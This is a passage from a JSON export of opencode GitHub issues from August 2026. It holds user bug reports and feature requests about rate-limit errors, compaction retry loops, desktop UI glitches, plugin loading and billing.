a clear, actionable error naming the offending tool (`phone_type`) rather than an opaque `Expected string, got undefined at [\"description\"]` deep in schema parsing that gives zero indication which tool or field is broken. ## Additional Context - The bug is trigger-happy on config edits: a developer editing a plugin's description strings can silently delete one field and take down their whole opencode install. - This took a long debugging session to pin down because the stack trace gives no tool name, and the symptom (all sessions failing to reply) looks like a model/provider/auth/version problem rather than a missing field on one tool. - Error message clarity is the main ask: name the offending field/tool. A missing required field on a tool should be isolated, not fatal to the entire session.",
        "url": "https://github.com/anomalyco/opencode/issues/42026",
        "createdAt": "2026-08-12T13:35:44Z",
        "updatedAt": "2026-08-13T04:44:55Z",
        "timestamp": "2026-08-13T04:44:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "2.0"
        ],
        "author": "system1970",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42027",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opentui: fatal: A.replace is not a function. (In 'A.replace(/\\n$/,\"\")', 'A.replace' is undefinedr",
        "text": "### Description ``` TypeError: A.replace is not a function. (In 'A.replace(/\\n$/,\"\")', 'A.replace' is undefined) at xG (/$bunfs/root/src/index.js:973:8249) at JY0 (/$bunfs/root/src/index.js:988:3553) at uc (/$bunfs/root/src/index.js:818:61318) at r9 (/$bunfs/root/src/index.js:818:61082) at aJ (/$bunfs/root/src/index.js:818:62935) at cc (/$bunfs/root/src/index.js:818:63890) at rw0 (/$bunfs/root/src/index.js:818:63230) at f5 (/$bunfs/root/src/index.js:818:63126) at X (/$bunfs/root/src/index.js:821:5995)... ``` ### Plugins _No response_ ### OpenCode version 0.1.11 ### Steps to reproduce _No response_ ### Screenshot and/or share link <img width=\"2030\" height=\"1072\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/cb8662e1-73ad-47c7-a158-d6d190fd11dd\" /> ### Operating System macos ### Terminal vscode 终端",
        "url": "https://github.com/anomalyco/opencode/issues/42027",
        "timestamp": "2026-08-12T13:42:39Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "lou1997",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:42028",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "open code response",
        "text": "my app was working great and all of a sudden i get no response it makes a clicking noise and just where i submit my text i tried uninstalling and re downloading now it does the same thing just with a interruption tag with no other response",
        "url": "https://github.com/anomalyco/opencode/issues/42028",
        "createdAt": "2026-08-12T13:47:39Z",
        "updatedAt": "2026-08-12T16:18:39Z",
        "timestamp": "2026-08-12T16:18:39Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "joewhorley1-commits",
        "state": "closed",
        "assignees": [
          "Hona"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42029",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Error: 429: {\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later.\"}",
        "text": "### Description Error: 429: {\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later.\"} ?????????????? I have not used it today ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42029",
        "createdAt": "2026-08-12T13:53:23Z",
        "updatedAt": "2026-08-12T16:18:37Z",
        "timestamp": "2026-08-12T16:18:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "smithyyang",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42030",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Desktop: theme switch does not apply text color in chat panel — text always stays white",
        "text": "### Description In the OpenCode desktop app (Windows), switching the design theme does not apply the selected theme's colors to regular text in the chat panel. Code blocks and diff panels update correctly, and list markers change color, but plain text and accent blocks (class member names, identifiers) remain white regardless of the selected theme. This may be the root cause behind several related readability issues — the chat text color is effectively hardcoded white rather than following the theme. For example: - #41281 — unreadable text selection in light mode - #12861 — unreadable selected text in light themes - #29629 — Catppuccin Macchiato unreadable in light mode (same underlying cause: light background + always-white text) Switching theme changes the background, so when a light background combines with always-white text, the text becomes invisible. The fix should ensure the chat panel text color follows the active theme. Additionally, there are two UX issues with the theme selector dropdown itself: 1. After selecting a theme, focus is lost — arrow keys cannot be used to quickly cycle through themes and compare them. 2. After manually switching themes 4–5 times, the dropdown stops opening. Closing and reopening the Settings window fixes the dropdown, but arrow key navigation is never available. ### Plugins \"@tarquinen/opencode-dcp@latest\", \"opencode-wakatime\", \"opencode-vibeguard\", \"@franlol/opencode-md-table-formatter@latest\", \"@mohak34/opencode-notifier@latest\" ### OpenCode version OpenCode Desktop v1.18.16 ### Steps to reproduce 1. Open OpenCode desktop app on Windows. 2. Go to Settings → Appearance. 3. Select any design theme from the dropdown. 4. Observe: code blocks and diff panels change color, but chat text stays white. 5. Try using arrow keys to cycle themes — focus is lost after selection. 6. Switch themes manually 4–5 times — the dropdown stops opening. ### Screenshot and/or share link <img width=\"2559\" height=\"1397\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/505e5cd5-14bb-409e-8a00-157206e4fc1c\" /> <img width=\"2559\" height=\"1395\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/929f4a05-9b24-4b89-a4ef-de29bc9cb20d\" /> <img width=\"2559\" height=\"1394\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/d7b89645-e824-40fd-8d00-c77268af4c2e\" /> ### Operating System Windows 11 Pro, 25H2, 26200.8875 ### Terminal Not applicable; OpenCode Desktop",
        "url": "https://github.com/anomalyco/opencode/issues/42030",
        "timestamp": "2026-08-12T13:55:42Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "Cossack13",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:42031",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Desktop: new session page has no file tree (button absent) with New layout designs enabled",
        "text": "### Description When creating a new session in the OpenCode Desktop app, the file tree cannot be shown at all. There is no file tree button anywhere on the new-session screen. With **New layout designs** enabled (the default), the desktop `/new-session` page renders only the prompt composer. The file tree (and its toggle button) do not exist on this page — not in the titlebar, not in the side panel. Expected: a way to open the file tree / project explorer for the session (button, toggle, or sidebar), like the old layout. ### Repro 1. Open OpenCode Desktop (latest, v1.18.x). 2. Keep **New layout designs** enabled (default). 3. Click \"New session\" (app routes to `/new-session`). 4. Look for the file tree / project explorer or its toggle button. Expected: file tree accessible (button visible or panel in the sidebar). Actual: no file tree button exists at all; nothing to open the file tree. ### Impact Users on the new layout cannot browse the project in a session, making file references and navigation much harder. ### Related - #33119 — Desktop new-session page cannot toggle terminal (same class of issue: `/new-session` draft page renders only the prompt composer, missing panels mounted on the real session route) - #29951 — Advanced settings toggles for desktop toolbar buttons do nothing in new layout (V2 titlebar missing file-tree button) - #34223 — File tree toggle hidden by desktop() gate in settings, panel not open by default - PR #34828 — \"fix(app): add file tree toggle to new session header\" (appears related; user still cannot see it on latest release) ### Environment - OpenCode Desktop version: latest (v1.18.16) - OS: Windows 11 64-bit - Layout: New layout designs enabled (default)",
        "url": "https://github.com/anomalyco/opencode/issues/42031",
        "timestamp": "2026-08-12T14:13:34Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "lqr949809771",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:42032",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "docs: fix \"ProviderDisplay Name\" and \"personal access tokens\" typos",
        "text": "### Description Two typos in the docs: 1. `packages/web/src/content/docs/providers.mdx:2490` and `:2528` — `\"name\": \"My AI ProviderDisplay Name\"` is missing a space; should be `\"My AI Provider Display Name\"`. 2. `packages/web/src/content/docs/github.mdx:100` — \"a [personal access tokens]\" uses the plural form after \"a\"; should be \"a [personal access token]\".",
        "url": "https://github.com/anomalyco/opencode/issues/42032",
        "createdAt": "2026-08-12T14:19:56Z",
        "updatedAt": "2026-08-12T15:32:25Z",
        "timestamp": "2026-08-12T15:32:25Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "skyzhao1223",
        "state": "closed",
        "assignees": [
          "Brendonovich"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42033",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "limit",
        "text": "### Description Error: 429: {\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42033",
        "createdAt": "2026-08-12T14:21:10Z",
        "updatedAt": "2026-08-12T16:47:36Z",
        "timestamp": "2026-08-12T16:47:36Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "rkobroo",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42035",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG]: Zen and Go expose identically-named models; picking the Zen one tells Go subscribers to \"subscribe to Go\" — and if it happens during compaction the session wedges permanently",
        "text": "### Description Two separate things combine here, and I think they explain a large share of the \"I paid for Go and it still says *Free usage exceeded, subscribe to Go*\" reports (#36265, #42013, #42008, #42019, #40078, #34483, #39310, #31008, #29020, #27492 …). I could reproduce and measure both on macOS with Desktop 1.18.16. #### 1. `opencode` (Zen) and `opencode-go` are two providers with overlapping model names From the local catalogue (`~/.cache/opencode/models.json`) on my machine: | provider id | label | models | |---|---|---| | `opencode` | OpenCode Zen | 88 | | `opencode-go` | OpenCode Go | 24 | **16 of the 24 Go models have an identically named twin in Zen** — `deepseek-v4-flash`, `deepseek-v4-pro`, `glm-5`, `glm-5.1`, `glm-5.2`, `gpt-5.6-luna`, `grok-4.5`, `kimi-k2.5`, `kimi-k2.6`, `kimi-k2.7-code`, `kimi-k3`, `minimax-m2.5`, `minimax-m2.7`, `minimax-m3`, `qwen3.5-plus`, `qwen3.6-plus`. In the model picker they are the same string. Their billing is not: - `opencode/<model>-free` → free tier → 429 → UI renders it as **`Free usage exceeded, subscribe to Go`** - `opencode-go/glm-5.2` → the Go subscription → works Buying Go and connecting the **OpenCode Go** provider does **not** move an existing session onto it. In my log, after Go was connected, the counters were: ``` 189 providerID=opencode <- Zen 0 providerID=opencode-go <- Go, never used ``` So the client kept billing Zen, and the UI kept telling me to subscribe to a plan I had already bought. That is, I believe, what most of the \"subscription not linked\" reports actually are — the purchase is fine, the request never reaches Go. **Suggested fix:** disambiguate the two providers in the picker (they render as the same name today), and make the free-tier 429 message say *which provider* was billed instead of unconditionally advising \"subscribe to Go\" — the advice is wrong for everyone who already has Go. #### 2. If that failure lands during compaction, the session is wedged for good This is the part that makes it unrecoverable rather than annoying. ``` level=INFO message=stream providerID=opencode modelID=<zen-free-model> session.id=ses_xxx agent=compaction mode=primary level=ERROR message=\"stream error\" providerID=opencode modelID=<zen-free-model> session.id=ses_xxx agent=compaction mode=primary error.error=\"AI_APICallError: Error from provider (Console): Rate limit exceeded. Please try again later.\" ``` Observed behaviour: - **It is the compaction agent that is stuck, not the chat turn.** My session ran fine for three hours (102 stream calls, `agent=build`). Compaction fired, hit the limit, and never recovered. - **Exponential backoff with no ceiling I could see.** Measured gaps: 5s, 9s, 17s, 33s, 65s, 129s, 257s. This is where `retrying in 32969s - attempt #1` in #36265 comes from. - **It survives restarting the app.** Same session, four distinct `run=` ids across three restarts in one morning; each new process resumes the same pending compaction against the same model. - **While the loop is in flight, the model picker has no effect.** I selected a different model; its name does not appear in the log a single time while the loop was running. Only after an explicit abort did the next compaction attempt actually use the newly selected model. - **State in `opencode.db`:** the assistant message for the compaction exists with `time.completed = null` and **zero parts** — an empty placeholder retried forever, with the next user message queued behind it. So from the user's side: restart doesn't help, switching models doesn't help, buying Go doesn't help. All three are true and all three look like \"the subscription is broken\". **Suggested fix:** cap the compaction retries and surface a terminal, actionable error instead of retrying forever; re-read provider/model (and credentials) on each retry rather than pinning them for the lifetime of the loop. #### Workaround for anyone stuck right now 1. Press the stop button in the wedged session — the retry loop ignores the picker until you do. 2. Switch to a model from the **OpenCode Go** group (not the identically-named Zen one). 3. Compaction then completes and the session continues. Verified on my machine: the session ran normally for ~3h (102 stream calls, `agent=build`), then sat in the wedged compaction loop for another ~3h across three app restarts — 74 failed attempts. After pressing stop and selecting `glm-5.2` from the **OpenCode Go** group, the log switched to `providerID=opencode-go`, the compaction completed on the first try, and the session resumed: 7 completed assistant messages in 45 seconds, 0 errors. Related: #30229 (`-free` models staying capped under Go) covers the entitlement side; #27924, #15533, #30443 cover other compaction loops. ### Plugins None relevant (context7 MCP only). ### OpenCode version 1.18.16 (Desktop) ### Steps to reproduce 1. Connect the **OpenCode Zen** provider with an API key from a workspace with no balance. 2. Start a session on a Zen `-free` model and work until the context fills. 3. Let auto-compaction fire while the free-tier limit is exhausted. 4. Observe: `Free usage exceeded, subscribe to Go`, retrying with growing backoff. 5. Subscribe to Go, connect the **OpenCode Go** provider, restart the app, change the model in the picker → the loop continues unchanged against the original Zen model. ### Screenshot and/or share link Log excerpts inline above (session/workspace identifiers redacted). ### Operating System macOS 26.0.1 ### Terminal OpenCode Desktop (no terminal)",
        "url": "https://github.com/anomalyco/opencode/issues/42035",
        "timestamp": "2026-08-12T14:25:38Z",
        "metrics": {
          "reactions": 2,
          "comments": 1
        },
        "labels": [],
        "author": "siluri",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:42038",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Remove leftover Mintlify starter template from packages/docs",
        "text": "### Verify - [x] I have verified this feature I am requesting has not been suggested before. ### Describe the enhancement you want to request `packages/docs/` is a leftover Mintlify starter template (README says \"Mintlify Starter Kit\", quickstart.mdx/development.mdx/index.mdx and essentials/ are all generic Mintlify onboarding content, not OpenCode docs). It is not referenced anywhere: no CI workflow, turbo.json, package.json, sst.config.ts, or infra config touches it. The real docs live in `packages/web/` (Astro/Starlight at opencode.ai/docs). It also contains stale Mintlify links (e.g. quickstart.mdx links to `https://mintlify.com/community` which returns 404) and ai-tools/ pages that describe using Claude Code / Cursor to write Mintlify docs. Would the maintainers be open to removing this leftover `packages/docs/` directory (24 files)? Happy to submit a PR if so.",
        "url": "https://github.com/anomalyco/opencode/issues/42038",
        "createdAt": "2026-08-12T14:32:28Z",
        "updatedAt": "2026-08-12T15:57:23Z",
        "timestamp": "2026-08-12T15:57:23Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "skyzhao1223",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42039",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Problem after purchase",
        "text": "After subscribing Zen model, I am not able to use open code",
        "url": "https://github.com/anomalyco/opencode/issues/42039",
        "createdAt": "2026-08-12T14:35:00Z",
        "updatedAt": "2026-08-12T16:47:34Z",
        "timestamp": "2026-08-12T16:47:34Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "prateekpadget60-sys",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42040",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Unable to open certain projects",
        "text": "### Description I have a project lets say its called `projects/foo` and i have `projects/foo2` now opening `foo` or `foo2` will always open `foo` and there is seemingly no way to open the `foo2` project. ### Plugins none ### OpenCode version v1.16.2 ### Steps to reproduce create 2 project folders, `foo` `foo2` copy content from `foo` to `foo2` open `foo` in opencode open `foo2` in opencode --> notice `foo2` also opened `foo` ### Screenshot and/or share link _No response_ ### Operating System Linux Fedora 44 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42040",
        "createdAt": "2026-08-12T14:36:32Z",
        "updatedAt": "2026-08-13T08:50:13Z",
        "timestamp": "2026-08-13T08:50:13Z",
        "metrics": {
          "reactions": 0,
          "comments": 6
        },
        "labels": [],
        "author": "jwverzijden",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42041",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "multimodal-looker 调用的一直是gpt-5.6-sol",
        "text": "无论怎么修改配置文件指定其它模型都不生效",
        "url": "https://github.com/anomalyco/opencode/issues/42041",
        "createdAt": "2026-08-12T14:37:48Z",
        "updatedAt": "2026-08-12T16:47:32Z",
        "timestamp": "2026-08-12T16:47:32Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "yangjueye",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42042",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "fix(app): settings dialog handler locks up after scope cleanup",
        "text": "### Problem When useSettingsDialog is registered in the command palette or global keybindings, its internal dead flag gets set to true whenever the parent component scope triggers onCleanup. Subsequent calls to open the settings dialog via keyboard shortcut (Cmd+,) or command palette fail silently because the internal Promise check if (dead || run !== current) return permanently blocks the dialog from opening. ### Proposed Solution Remove the unmount dead check from useSettingsDialog while maintaining the run-counter guard to prevent out-of-order async dynamic import resolutions. ### Test Plan - Verify Cmd+, keyboard shortcut opens settings dialog repeatedly after navigating or re-rendering views. - Run bun test in packages/app to verify all unit tests pass.",
        "url": "https://github.com/anomalyco/opencode/issues/42042",
        "createdAt": "2026-08-12T14:39:22Z",
        "updatedAt": "2026-08-12T16:47:30Z",
        "timestamp": "2026-08-12T16:47:30Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "MaaBlock",
        "state": "closed",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42043",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Cant Compact or Use subagents with free models",
        "text": "### Description When Tried to use free model can use perfectly but when a compactation or subagent triggers the opencode say \"Free usage exceeded, subscribe to Go\" but if i open another session it works but cant compact or use any subagents. been working fine problem appeared this afternoon. Also if i use another provider and compact then use the free opencode model it re compacts now with free model and have to give prompt again to continue coding ### Plugins What ever came with the default installation ### OpenCode version latest ### Steps to reproduce Try to compact seesion Try opening a subagent possibly happend after updating was working fine before that. tried to downgrade but same thing ### Screenshot and/or share link _No response_ ### Operating System _Windows 11_ ### Terminal _Dexktop_",
        "url": "https://github.com/anomalyco/opencode/issues/42043",
        "createdAt": "2026-08-12T14:42:27Z",
        "updatedAt": "2026-08-13T01:29:28Z",
        "timestamp": "2026-08-13T01:29:28Z",
        "metrics": {
          "reactions": 1,
          "comments": 4
        },
        "labels": [],
        "author": "RealCA",
        "state": "closed",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42044",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Bug] Gradle build success but session keep going forever",
        "text": "As the picture, build is success and all the tasks were done, but agent keep thinking forever and I need to stop it manual. <img width=\"1920\" height=\"1020\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ea47b346-6d81-4e1e-a209-7a9df9421173\" />",
        "url": "https://github.com/anomalyco/opencode/issues/42044",
        "createdAt": "2026-08-12T14:44:40Z",
        "updatedAt": "2026-08-12T14:46:14Z",
        "timestamp": "2026-08-12T14:46:14Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "SMFDrummer",
        "state": "open",
        "assignees": [
          "kitlangton"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42046",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "403",
        "text": "### Description Upstream request failed: [403] This model is not available in your region. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42046",
        "createdAt": "2026-08-12T14:53:48Z",
        "updatedAt": "2026-08-12T17:19:58Z",
        "timestamp": "2026-08-12T17:19:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "shixin2010git",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42050",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Not working",
        "text": "### Description My opencode is not working well with ai provider why?? Retrying in 51s · attempt 7 Free limit reached Subscribe to OpenCode Go for reliable access to the best open-source models, starting at $5/month. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42050",
        "createdAt": "2026-08-12T15:05:36Z",
        "updatedAt": "2026-08-12T17:19:56Z",
        "timestamp": "2026-08-12T17:19:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "HotShotLabel",
        "state": "closed",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42051",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "tui: plugins no longer load after cli.json config migration (nightly next channel)",
        "text": "## Summary TUI plugins stopped loading in the `next` nightly channel after builds that migrated TUI config into `cli.json`. Plugin entries in `tui.json` (string/tuple form) and `cli.json` (`{package, options}` form) are both ignored — the TUI runtime never attempts to load them. Adding the same plugin to the server config (`opencode.jsonc` `plugins`) makes the server load it as a server plugin and crash with `TypeError: undefined is not an object (evaluating 'context.storage.memory')` because TUI-only context capabilities do not exist server-side. ## Environment - opencode version: `0.0.0-next-17297` (also reproduced on `0.0.0-next-17296`) - OS: Linux Fedora 43, `7.1.7-100.fc43.x86_64` - Terminal: tmux (`TERM=xterm-256color`, truecolor) - Shell: fish - Install/channel: `next` (npm global install of `@opencode-ai/cli`) - Active plugins: local TUI plugin `/home/samarth/repos/live-token-info/src/index.tsx` (`id: live-token-meter`, uses `context.storage.memory` and `context.ui.slot(\"prompt.footer.end\")`); previously also `@renjfk/opencode-voice` ## Reproduction 1. Create a local TUI plugin module: `index.tsx` with `/** @jsxImportSource @opentui/solid */`, `import { Plugin } from \"@opencode-ai/plugin/tui\"`, and `Plugin.define({ id, setup(ctx) { ctx.storage.memory(...); ctx.ui.slot(\"prompt.footer.end\", ...) } })`. 2. Add it to `~/.config/opencode/tui.json` as a tuple: ```json \"plugin\": [ [\"/path/to/plugin.tsx\", { \"charsPerToken\": 4, \"showTotals\": true }] ] ``` (Same form used by the working `.opencode/tui.json` example for the `tui-smoke` fixture in this repo.) 3. Restart the TUI (`opencode2`). 4. The plugin does not load. No entry appears in `~/.local/state/opencode/plugin-meta.json` and no client-side log messages are emitted. 5. Alternative: add the same plugin to `~/.config/opencode/opencode.jsonc` as `\"plugins\": [{ \"package\": \"/path/to/plugin.tsx\", \"options\": {...} }]` and restart. The server log shows: ``` msg=\"loading plugin\" id=/path/to/plugin.tsx entrypoint=\"/path/to/plugin.tsx?mtime=...\" message=\"failed to load plugin\" plugin.id=live-token-meter cause=\"Cause([Die(TypeError: undefined is not an object (evaluating 'context.storage.memory'))])\" ``` ## Expected Behavior TUI-kind plugins load in the TUI client with the TUI plugin context (`storage`, `ui`, `theme`, `data`), either from client config entries (`tui.json` tuples / `cli.json` `{package, options}`) or through server-side kind detection that routes them to the client without executing `setup` with a server context. ## Actual Behavior - The TUI runtime ignores all client-config plugin entries (no attempts recorded in `plugin-meta.json` or logs) since the `cli.json` migration appeared in `next-17098` (server log: `migrated cli config` on 2026-08-10). - Server-config entries load the module as a server plugin and crash in `setup` on `context.storage.memory` being undefined. - Timeline confirmation: TUI plugin `@renjfk/opencode-voice` loaded successfully 46 times until the `next-17055` era (last load 2026-08-09) and never again after the migration landed; the `tui-smoke.tsx` fixture loaded once on 2026-07-02 and has not re-loaded since. ## Additional Context Config used for reproduction: ```jsonc // ~/.config/opencode/tui.json \"plugin\": [ [\"/home/samarth/repos/live-token-info/src/index.tsx\", { \"charsPerToken\": 4, \"showTotals\": true }] ] // ~/.config/opencode/cli.json (rewritten each start by the built-in migration) \"plugins\": [ { \"package\": \"/home/samarth/repos/live-token-info/src/index.tsx\", \"options\": { \"charsPerToken\": 4, \"showTotals\": true } } ] ``` - Stable channel 1.18.16 still contains the legacy client-side flow (`loading tui config` / `skipping invalid tui config` message strings) and does not exhibit the regression. The nightly binary (`next-17297`) no longer contains those strings, which matches the client runtime no longer reading client config. - Consistently reproducible across roughly 10 client restarts. - No workaround found; the server-config entry must be removed to stop the crash on every start. The plugin itself is unaffected (module imports fine; the failure happens inside `setup` with a server context).",
        "url": "https://github.com/anomalyco/opencode/issues/42051",
        "createdAt": "2026-08-12T15:08:22Z",
        "updatedAt": "2026-08-12T20:51:19Z",
        "timestamp": "2026-08-12T20:51:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "2.0"
        ],
        "author": "samarth-na",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42053",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Billing Issue: OpenCode Go Paid $5 Promo, Account Stuck on Free Tier (Invoice NFGKFBRU-0001)",
        "text": "### Description Good day, I am writing to report an issue with my subscription activation for OpenCode Go.I signed up using the first-month promotional offer of $5.00, and my credit card (ending in 3796) was successfully charged $5.00 on August 12, 2026. However, my account profile and API key are still showing as being on the \"Free\" tier, and the application is asking me to subscribe. Upon inspecting my digital receipt generated by Anomaly, there appears to be a backend system mismatch:Invoice Number: NFGKFBRU-0001Receipt Number: 2780-7752Subtotal Listed: $10.00Amount Paid: $5.00It looks like the checkout session automatically applied the standard $10.00 subtotal baseline without factoring in the 50% promotional pricing tier on the invoice itself, even though it correctly processed my card for the $5.00 promo amount. Could you please look into this invoice mismatch and manually sync/verify my subscription status so I can begin using the Go models? Thank you for your time and help. [Receipt-2780-7752.pdf](https://github.com/user-attachments/files/30987112/Receipt-2780-7752.pdf) Best regards, ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42053",
        "createdAt": "2026-08-12T15:19:36Z",
        "updatedAt": "2026-08-12T17:48:08Z",
        "timestamp": "2026-08-12T17:48:08Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "Justsef",
        "state": "closed",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42054",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "payment",
        "text": "its asking me to pay for subscription even tho im using your free models",
        "url": "https://github.com/anomalyco/opencode/issues/42054",
        "createdAt": "2026-08-12T15:20:12Z",
        "updatedAt": "2026-08-12T17:48:06Z",
        "timestamp": "2026-08-12T17:48:06Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "krishaysatish1-blip",
        "state": "closed",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42058",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Session picker gives no indication that the list is scoped to a directory",
        "text": "## Context CONTRIBUTING says UI changes need a design review before implementation, so raising this rather than sending a PR. The session picker shows footer hints for quick-switch and delete, but nothing for `app.toggle.session_directory_filter`. Even once the binding works in the picker (#42056) and is bindable, there is no indication in the picker that the current list is scoped to a directory, or that a key widens it. The scope of the list is invisible: a session that exists but is filtered out looks like a session that does not exist. ## Proposal Add one footer hint to `DialogSessionList` that names what the key will do next and flips with the current scope: - while narrowed to a directory: `<key> all sessions` - while showing everything: `<key> this directory` Details that seem worth keeping either way: - read the key via `useCommandShortcut(\"app.toggle.session_directory_filter\")`, as the delete and quick-switch hints already do, so a rebind is reflected and nothing is hardcoded - render nothing when the command is unbound, so the footer never advertises a dead key - render nothing when `project.data.instance.path.worktree` is absent, since `sessionListQuery()` returns `{ scope: \"project\" }` regardless in that case and the toggle would appear to do 